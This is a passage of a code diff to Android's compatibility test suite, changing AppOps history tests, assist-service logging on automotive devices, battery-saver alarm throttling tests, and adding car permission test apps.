+        var accesses = op.getDiscreteAccesses(UID_STATE_CACHED, UID_STATE_PERSISTENT, OP_FLAG_SELF)
+        assertThat(accesses.size).isEqualTo(0)
+        accesses = op.getDiscreteAccesses(
+                UID_STATE_PERSISTENT, UID_STATE_CACHED, OP_FLAG_TRUSTED_PROXIED)
+        assertThat(accesses.size).isEqualTo(1)
     }
 
     @Test
@@ -898,8 +936,8 @@
         for (i in 1..3) {
             waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
             runWithShellPermissionIdentity {
-                appOpsManager.noteProxyOp(OPSTR_FINE_LOCATION, PACKAGE_NAME, uid, null, null)
-                appOpsManager.noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
+                appOpsManager.noteProxyOp(OPSTR_CAMERA, PACKAGE_NAME, uid, null, null)
+                appOpsManager.noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, null, null)
             }
             allOps = getHistoricalOps(HISTORY_FLAG_DISCRETE)
             if (allOps!!.getUidOpsAt(0).getPackageOpsAt(0).getOpAt(0).getDiscreteAccessAt(0)
@@ -931,7 +969,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -944,6 +982,7 @@
     @Test
     fun testOpsListParameter() {
         // collect only OP_FINE_LOCATION = 1
+        makeTop()
         runWithShellPermissionIdentity {
             DeviceConfig.setProperty(NAMESPACE_PRIVACY, PROPERTY_OPS_LIST, "1", false)
         }
@@ -1076,17 +1115,27 @@
     }
 
     private fun makeTop() {
-        context.startActivity(Intent().setComponent(
-                ComponentName(PACKAGE_NAME,
-                        "$PACKAGE_NAME.AppOpsForegroundControlActivity"))
-                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
-
-        foregroundControlService.waitUntilForeground()
+        while (true) {
+            context.startActivity(Intent().setComponent(
+                    ComponentName(PACKAGE_NAME,
+                            "$PACKAGE_NAME.AppOpsForegroundControlActivity"))
+                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+            if (testPkgAppOpMode == MODE_ALLOWED) {
+                break
+            }
+            Thread.sleep(100)
+        }
     }
 
     private fun makeBackground() {
-        foregroundControlService.finishActivity()
-        foregroundControlService.stopForegroundService()
-        foregroundControlService.stopLocationForegroundService()
+        while (true) {
+            foregroundControlService.finishActivity()
+            foregroundControlService.stopForegroundService()
+            foregroundControlService.stopLocationForegroundService()
+            if (testPkgAppOpMode == MODE_IGNORED) {
+                break
+            }
+            Thread.sleep(100)
+        }
     }
 }
diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java
index 86062b2..0ffcb27 100755
--- a/tests/tests/assist/common/src/android/assist/common/Utils.java
+++ b/tests/tests/assist/common/src/android/assist/common/Utils.java
@@ -16,7 +16,9 @@
 package android.assist.common;
 
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.LocaleList;
 import android.os.Process;
@@ -271,4 +273,8 @@
         bundle.putString(Utils.EXTRA_REMOTE_CALLBACK_ACTION, action);
         return bundle;
     }
+
+    public static boolean isAutomotive(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index a535d99..f534aa8 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -20,6 +20,7 @@
 import android.app.assist.AssistStructure;
 import android.assist.common.Utils;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -153,10 +154,20 @@
         Bundle data = state.getAssistData();
         AssistStructure structure = state.getAssistStructure();
         AssistContent content = state.getAssistContent();
+        ComponentName activity = structure == null ? null : structure.getActivityComponent();
+        Log.i(TAG, "onHandleAssist()");
+        Log.i(TAG, String.format("Bundle: %s, Activity: %s, Structure: %s, Content: %s",
+                data, activity, structure, content));
 
-        Log.i(TAG, "onHandleAssist");
-        Log.i(TAG,
-                String.format("Bundle: %s, Structure: %s, Content: %s", data, structure, content));
+        if (activity != null && Utils.isAutomotive(mContext)
+                && !activity.getPackageName().equals("android.assist.testapp")) {
+            // TODO: automotive has multiple activities / displays, so the test might fail if it
+            // receives one of them (like the cluster activity) instead of what's expecting. This is
+            // a quick fix for the issue; a better solution would be refactoring the infra to
+            // either send all events, or let the test specifify which activity it's waiting for
+            Log.i(TAG, "Ignoring " + activity.flattenToShortString() + " on automotive");
+            return;
+        }
 
         // send to test to verify that this is accurate.
         mAssistData.putBoolean(Utils.ASSIST_IS_ACTIVITY_ID_NULL, state.getActivityId() == null);
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index f8691eb..76c8d75 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -34,11 +34,14 @@
         "android.test.runner",
         "android.test.base",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsAlarmUtils",
+    ],
     test_suites: [
         "cts",
         "general-tests",
         "mts",
     ],
-    sdk_version: "test_current",
+    platform_apis: true,
 }
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index d5c2ff9..e9db828 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -96,9 +96,10 @@
             final long triggerTime = req.getTriggerTime();
             final long interval = req.getRepeatInterval();
             final boolean allowWhileIdle = req.getAllowWhileIdle();
+            final int requestCode = req.getRequestCode();
 
-            final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
-                    new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+            final PendingIntent alarmSender = PendingIntent.getBroadcast(context, requestCode,
+                    new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE);
 
             Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
                     + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/batterysaving/common/proto/battery_saver_cts_common.proto b/tests/tests/batterysaving/common/proto/battery_saver_cts_common.proto
index d8d7457..b8d3fa0 100644
--- a/tests/tests/batterysaving/common/proto/battery_saver_cts_common.proto
+++ b/tests/tests/batterysaving/common/proto/battery_saver_cts_common.proto
@@ -41,6 +41,7 @@
             optional int64 repeat_interval = 3;
             optional bool allow_while_idle = 4;
             optional string intent_action = 5;
+            optional int32 request_code = 6;
         }
         optional SetAlarmRequest set_alarm = 4;
         optional bool stop_service = 5;
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index ca12681..735be40 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -22,11 +22,11 @@
 import static com.android.compatibility.common.util.AmUtils.runMakeUidIdle;
 import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryUnplug;
-import static com.android.compatibility.common.util.TestUtils.waitUntil;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.AlarmManager;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -40,19 +40,16 @@
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.SetAlarmRequest;
 import android.os.cts.batterysaving.common.BatterySavingCtsCommon.Payload.TestServiceRequest.StartServiceRequest;
 import android.os.cts.batterysaving.common.Values;
-import android.provider.DeviceConfig;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.DeviceConfigStateHelper;
+import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ThreadUtils;
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -64,39 +61,37 @@
  *
  atest $ANDROID_BUILD_TOP/cts/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
  */
-@MediumTest
+@LargeTest
 @RunWith(AndroidJUnit4.class)
 public class BatterySaverAlarmTest extends BatterySavingTestBase {
     private static final String TAG = "BatterySaverAlarmTest";
 
     private static final long DEFAULT_WAIT = 1_000;
-    private static final long THROTTLED_WAIT = 5_000;
+    private static final int POLLING_WAIT_MILLIS = 2_000;
 
     // Tweaked alarm manager constants to facilitate testing
-    private static final long MIN_REPEATING_INTERVAL = 5_000;
-    private static final long ALLOW_WHILE_IDLE_SHORT_TIME = 10_000;
-    private static final long ALLOW_WHILE_IDLE_LONG_TIME = 20_000;
-    private static final long MIN_FUTURITY = 2_000;
+    private static final long ALLOW_WHILE_IDLE_COMPAT_WINDOW = 12_000;
+    private static final long ALLOW_WHILE_IDLE_QUOTA_PRE_S = 3;
+    private static final long MIN_FUTURITY = 1_000;
 
     private void updateAlarmManagerConstants() {
-        mAlarmManagerDeviceConfigStateHelper.set("min_interval",
-                String.valueOf(MIN_REPEATING_INTERVAL));
-        mAlarmManagerDeviceConfigStateHelper.set("min_futurity",
-                String.valueOf(MIN_FUTURITY));
-        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_short_time",
-                String.valueOf(ALLOW_WHILE_IDLE_SHORT_TIME));
-        mAlarmManagerDeviceConfigStateHelper.set("allow_while_idle_long_time",
-                String.valueOf(ALLOW_WHILE_IDLE_LONG_TIME));
+        mAlarmManagerDeviceConfigStateHelper
+                .with("min_interval", 0L)
+                .with("min_futurity", MIN_FUTURITY)
+                .with("allow_while_idle_compat_quota", ALLOW_WHILE_IDLE_QUOTA_PRE_S)
+                .with("allow_while_idle_compat_window", ALLOW_WHILE_IDLE_COMPAT_WINDOW)
+                .commitAndAwaitPropagation();
     }
 
     private void resetAlarmManagerConstants() {
-        mAlarmManagerDeviceConfigStateHelper.restoreOriginalValues();
+        mAlarmManagerDeviceConfigStateHelper.restoreAll();
     }
 
     // Use a different broadcast action every time.
     private final String ACTION = "BATTERY_SAVER_ALARM_TEST_ALARM_ACTION_" + Values.getRandomInt();
 
     private final AtomicInteger mAlarmCount = new AtomicInteger();
+    private final AtomicInteger mLastAlarmRequestCode = new AtomicInteger(5);
 
     private final BroadcastReceiver mAlarmReceiver = new BroadcastReceiver() {
         @Override
@@ -106,8 +101,8 @@
         }
     };
 
-    private final DeviceConfigStateHelper mAlarmManagerDeviceConfigStateHelper =
-            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_ALARM_MANAGER);
+    private final AlarmManagerDeviceConfigHelper mAlarmManagerDeviceConfigStateHelper =
+            new AlarmManagerDeviceConfigHelper();
 
     @Before
     public void setUp() throws IOException {
@@ -126,11 +121,12 @@
 
     private void scheduleAlarm(String targetPackage, int type, long triggerMillis)
             throws Exception {
-        scheduleAlarm(targetPackage, type, triggerMillis, /*whileIdle=*/ true);
+        scheduleAlarm(targetPackage, type, triggerMillis, /*whileIdle=*/ true,
+                mLastAlarmRequestCode.incrementAndGet());
     }
 
     private void scheduleAlarm(String targetPackage, int type, long triggerMillis,
-            boolean whileIdle) throws Exception {
+            boolean whileIdle, int requestCode) throws Exception {
         Log.d(TAG, "Setting an alarm at " + triggerMillis + " (in "
                 + (triggerMillis - SystemClock.elapsedRealtime()) + "ms)");
         final SetAlarmRequest areq = SetAlarmRequest.newBuilder()
@@ -138,6 +134,7 @@
                 .setType(type)
                 .setAllowWhileIdle(whileIdle)
                 .setTriggerTime(triggerMillis)
+                .setRequestCode(requestCode)
                 .build();
         final Payload response = mRpc.sendRequest(targetPackage,
                 Payload.newBuilder().setTestServiceRequest(
@@ -183,9 +180,7 @@
         Thread.sleep(1000);
     }
 
-    @LargeTest
     @Test
-    @Ignore("Broken until b/171306433 is completed")
     public void testAllowWhileIdleThrottled() throws Exception {
         final String targetPackage = APP_25_PACKAGE;
 
@@ -195,83 +190,67 @@
 
         forcePackageIntoBg(targetPackage);
 
-        // First alarm shouldn't be throttled.
-        long now = SystemClock.elapsedRealtime();
-        final long triggerElapsed1 = now + MIN_FUTURITY;
-        scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed1);
-        ThreadUtils.sleepUntilRealtime(triggerElapsed1 + DEFAULT_WAIT);
-        assertEquals("Allow-while-idle alarm shouldn't be blocked in battery saver",
-                1, mAlarmCount.get());
+        Thread.sleep(ALLOW_WHILE_IDLE_COMPAT_WINDOW);
+        // First quota alarms shouldn't be throttled, as there were no alarms in the past window.
 
-        // Second one should be throttled.
+        final long now = SystemClock.elapsedRealtime();
+        long lastTriggerElapsed = 0;
+        for (int i = 0; i < ALLOW_WHILE_IDLE_QUOTA_PRE_S; i++) {
+            lastTriggerElapsed = now + MIN_FUTURITY * (i + 1);
+            scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, lastTriggerElapsed);
+        }
+        ThreadUtils.sleepUntilRealtime(lastTriggerElapsed);
+        PollingCheck.waitFor(POLLING_WAIT_MILLIS,
+                () -> (ALLOW_WHILE_IDLE_QUOTA_PRE_S == mAlarmCount.get()),
+                "The first quota allow-while-idle alarms didn't fire in battery saver");
+
+        // Subsequent ones should be throttled.
         mAlarmCount.set(0);
 
-        // Check that the alarm scheduled at triggerElapsed2
-        // fires between triggerElapsed2 and (triggerElapsed3+THROTTLED_WAIT).
-        now = SystemClock.elapsedRealtime();
-        final long triggerElapsed2 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
-        final long triggerElapsed3 = now + ALLOW_WHILE_IDLE_LONG_TIME;
+        // Check that the alarms scheduled now fireonly after
+        // (now + MIN_FUTURITY + ALLOW_WHILE_IDLE_WINDOW).
+        final long nextAllowedMinElapsed = now + MIN_FUTURITY + ALLOW_WHILE_IDLE_COMPAT_WINDOW;
+        final long triggerElapsed2 = SystemClock.elapsedRealtime() + MIN_FUTURITY;
+        final long triggerElapsed3 = triggerElapsed2 + MIN_FUTURITY;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed2);
+        scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed3);
 
-        // Check the time first before checking the alarm counter to avoid a
-        // situation when the alarm fires between sleepUntilRealtime and
-        // assertEquals.
-        while (true) {
-            Thread.sleep(DEFAULT_WAIT);
+        ThreadUtils.sleepUntilRealtime(triggerElapsed3 + DEFAULT_WAIT);
+        assertEquals("Alarms over quota fired in battery saver", 0, mAlarmCount.get());
 
-            final int alarmCount = mAlarmCount.get();
-            if (SystemClock.elapsedRealtime() < triggerElapsed2) {
-                assertEquals("Follow up allow-while-idle alarm shouldn't go off "
-                        + "before short time",
-                        0, alarmCount);
-            } else {
-                break;
-            }
-        }
+        ThreadUtils.sleepUntilRealtime(nextAllowedMinElapsed);
+        PollingCheck.waitFor(POLLING_WAIT_MILLIS, () -> (2 == mAlarmCount.get()),
+                "Follow-up allow-while-idle alarms should go off when in quota");
 
-        ThreadUtils.sleepUntilRealtime(triggerElapsed3 + THROTTLED_WAIT);
-        assertEquals("Follow-up allow-while-idle alarm should go off after long time",
-                1, mAlarmCount.get());
-
-        // Start an FG service, which should reset throttling.
+        // Start an FG service, which should exempt from any throttling.
         mAlarmCount.set(0);
 
         startService(targetPackage, true);
 
-        now = SystemClock.elapsedRealtime();
-        final long triggerElapsed4 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
-        scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed4);
-        ThreadUtils.sleepUntilRealtime(triggerElapsed4 + DEFAULT_WAIT);
-        assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
-                +" after FG service started",
-                1, mAlarmCount.get());
+        for (int i = 0; i < 20; i++) { // 20 is much higher than the quota we've set.
+            lastTriggerElapsed = SystemClock.elapsedRealtime() + MIN_FUTURITY + (i + 10);
+            scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, lastTriggerElapsed);
+        }
+        ThreadUtils.sleepUntilRealtime(lastTriggerElapsed);
+        PollingCheck.waitFor(POLLING_WAIT_MILLIS, () -> (20 == mAlarmCount.get()),
+                "Allow-while-idle alarms shouldn't be throttled in battery saver "
+                        + "after FG service started");
 
         stopService(targetPackage);
-        // Battery saver off. Always use the short time.
+        // Battery saver off. Should not throttle.
         enableBatterySaver(false);
 
         mAlarmCount.set(0);
 
-        now = SystemClock.elapsedRealtime();
-        final long triggerElapsed5 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
-        scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed5);
-        ThreadUtils.sleepUntilRealtime(triggerElapsed5 + DEFAULT_WAIT);
-        assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
-                        +" when BS is off",
-                1, mAlarmCount.get());
-
-        // One more time.
-        mAlarmCount.set(0);
-
-        now = SystemClock.elapsedRealtime();
-        final long triggerElapsed6 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
-        scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed6);
-        ThreadUtils.sleepUntilRealtime(triggerElapsed6 + DEFAULT_WAIT);
-        assertEquals("Allow-while-idle alarm shouldn't be throttled when BS is off",
-                1, mAlarmCount.get());
+        for (int i = 0; i < 20; i++) { // 20 is much higher than the quota we've set.
+            lastTriggerElapsed = SystemClock.elapsedRealtime() + MIN_FUTURITY + (i + 10);
+            scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, lastTriggerElapsed);
+        }
+        ThreadUtils.sleepUntilRealtime(lastTriggerElapsed);
+        PollingCheck.waitFor(POLLING_WAIT_MILLIS, () -> (20 == mAlarmCount.get()),
+                "Allow-while-idle alarms shouldn't be throttled when BS is off");
     }
 
-    @LargeTest
     @Test
     public void testAlarmsThrottled() throws Exception {
         final String targetPackage = APP_25_PACKAGE;
@@ -286,7 +265,7 @@
             // When battery saver is enabled, alarms should be blocked.
             final long triggerElapsed = SystemClock.elapsedRealtime() + MIN_FUTURITY;
             scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed,
-                    /* whileIdle=*/ false);
+                    /* whileIdle=*/ false, 1);
             ThreadUtils.sleepUntilRealtime(triggerElapsed + DEFAULT_WAIT);
             assertEquals("Non-while-idle alarm should be blocked in battery saver",
                     0, mAlarmCount.get());
@@ -295,8 +274,8 @@
         // Start an FG service -> should unblock the alarm.
         startService(targetPackage, true);
 
-        waitUntil("Alarm should fire for an FG app",
-                () -> mAlarmCount.get() == 1);
+        PollingCheck.waitFor(POLLING_WAIT_MILLIS, () -> mAlarmCount.get() == 1,
+                "Alarm should fire for an FG app");
 
         stopService(targetPackage);
         // Try again.
@@ -309,7 +288,7 @@
         {
             final long triggerElapsed = SystemClock.elapsedRealtime() + MIN_FUTURITY;
             scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed,
-                    /* whileIdle=*/ false);
+                    /* whileIdle=*/ false, 1);
             ThreadUtils.sleepUntilRealtime(triggerElapsed + DEFAULT_WAIT);
             assertEquals("Non-while-idle alarm should be blocked in battery saver",
                     0, mAlarmCount.get());
@@ -317,7 +296,7 @@
 
         // This time, disable EBS -> should unblock the alarm.
         enableBatterySaver(false);
-        waitUntil("Allow-while-idle alarm should be blocked in battery saver",
-                () -> mAlarmCount.get() == 1);
+        PollingCheck.waitFor(POLLING_WAIT_MILLIS, () -> mAlarmCount.get() == 1,
+                "Allow-while-idle alarm should be blocked in battery saver");
     }
 }
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 550b49a..7b44a58 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -30,6 +30,10 @@
         <option name="test-file-name" value="CtsCarPermissionCarInfoTest.apk"/>
         <option name="test-file-name" value="CtsCarPermissionCarEnergyTest.apk"/>
         <option name="test-file-name" value="CtsCarPermissionCarSpeedTest.apk"/>
+        <option name="test-file-name" value="CtsCarPermissionReadCarDisplayUnitsTest.apk"/>
+        <option name="test-file-name" value="CtsCarPermissionCarExteriorEnvironmentTest.apk"/>
+        <option name="test-file-name" value="CtsCarPermissionCarPowertrainTest.apk"/>
+        <option name="test-file-name" value="CtsCarPermissionCarEnergyPortsTest.apk"/>
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
@@ -55,4 +59,24 @@
         <option name="class"
                 value="android.car.cts.permissioncarspeed.PermissionCarSpeedTest"/>
     </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.car.cts.permissionreadcardisplayunits"/>
+        <option name="class"
+                value="android.car.cts.permissionreadcardisplayunits.PermissionReadCarDisplayUnitsTest"/>
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.car.cts.permissioncarexteriorenvironment"/>
+        <option name="class"
+                value="android.car.cts.permissioncarexteriorenvironment.PermissionCarExteriorEnvironmentTest"/>
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.car.cts.permissioncarpowertrain"/>
+        <option name="class"
+                value="android.car.cts.permissioncarpowertrain.PermissionCarPowertrainTest"/>
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.car.cts.permissioncarenergyports"/>
+        <option name="class"
+                value="android.car.cts.permissioncarenergyports.PermissionCarEnergyPortsTest"/>
+    </test>
 </configuration>
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/tests/tests/car/PermissionCarEnergyPorts/Android.bp
similarity index 71%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to tests/tests/car/PermissionCarEnergyPorts/Android.bp
index d1a3271..818a35e 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/tests/tests/car/PermissionCarEnergyPorts/Android.bp
@@ -17,15 +17,24 @@
 }
 
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    name: "CtsCarPermissionCarEnergyPortsTest",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
-    sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.base",
+        "android.car-test-stubs",
+    ],
 }
\ No newline at end of file
diff --git a/tests/tests/car/PermissionCarEnergyPorts/AndroidManifest.xml b/tests/tests/car/PermissionCarEnergyPorts/AndroidManifest.xml
new file mode 100644
index 0000000..2ec7175
--- /dev/null
+++ b/tests/tests/car/PermissionCarEnergyPorts/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.car.cts.permissioncarenergyports">
+    <application android:label="PermissionCarEnergyPorts">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:label="Permission CAR_ENERGY_PORTS Test"
+                     android:targetPackage="android.car.cts.permissioncarenergyports">
+    </instrumentation>
+
+    <uses-feature android:name="android.hardware.type.automotive"/>
+
+    <uses-permission android:name="android.car.permission.CAR_ENERGY_PORTS"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/car/PermissionCarEnergyPorts/src/android/car/cts/permissioncarenergyports/PermissionCarEnergyPortsTest.java b/tests/tests/car/PermissionCarEnergyPorts/src/android/car/cts/permissioncarenergyports/PermissionCarEnergyPortsTest.java
new file mode 100644
index 0000000..359af36
--- /dev/null
+++ b/tests/tests/car/PermissionCarEnergyPorts/src/android/car/cts/permissioncarenergyports/PermissionCarEnergyPortsTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.permissioncarenergyports;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.Car;
+import android.car.VehiclePropertyIds;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.property.CarPropertyManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot get car related permissions.")
+public final class PermissionCarEnergyPortsTest {
+    private static final ImmutableList<Integer> PERMISSION_CAR_ENERGY_PORTS_PROPERTIES =
+            ImmutableList.<Integer>builder().add(
+                    VehiclePropertyIds.FUEL_DOOR_OPEN, VehiclePropertyIds.EV_CHARGE_PORT_OPEN,
+                    VehiclePropertyIds.EV_CHARGE_PORT_CONNECTED)
+                    .build();
+
+    private CarPropertyManager mCarPropertyManager;
+
+    @Before
+    public void setUp() {
+        mCarPropertyManager =
+                (CarPropertyManager) Car.createCar(
+                        InstrumentationRegistry.getInstrumentation().getContext()).getCarManager(
+                        Car.PROPERTY_SERVICE);
+        assertThat(mCarPropertyManager).isNotNull();
+    }
+
+    @Test
+    public void testPermissionCarEnergyPortsGranted() {
+        for (CarPropertyConfig<?> carPropertyConfig : mCarPropertyManager.getPropertyList()) {
+            assertWithMessage("%s",
+                    VehiclePropertyIds.toString(carPropertyConfig.getPropertyId())).that(
+                    carPropertyConfig.getPropertyId()).isIn(
+                    PERMISSION_CAR_ENERGY_PORTS_PROPERTIES);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/tests/tests/car/PermissionCarExteriorEnvironment/Android.bp
similarity index 71%
copy from hostsidetests/packagemanager/boottest/app/Android.bp
copy to tests/tests/car/PermissionCarExteriorEnvironment/Android.bp
index d1a3271..cadff87 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/tests/tests/car/PermissionCarExteriorEnvironment/Android.bp
@@ -17,15 +17,24 @@
 }
 
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    name: "CtsCarPermissionCarExteriorEnvironmentTest",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
-    sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.base",
+        "android.car-test-stubs",
+    ],
 }
\ No newline at end of file
diff --git a/tests/tests/car/PermissionCarExteriorEnvironment/AndroidManifest.xml b/tests/tests/car/PermissionCarExteriorEnvironment/AndroidManifest.xml
new file mode 100644
index 0000000..37eda12
--- /dev/null
+++ b/tests/tests/car/PermissionCarExteriorEnvironment/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
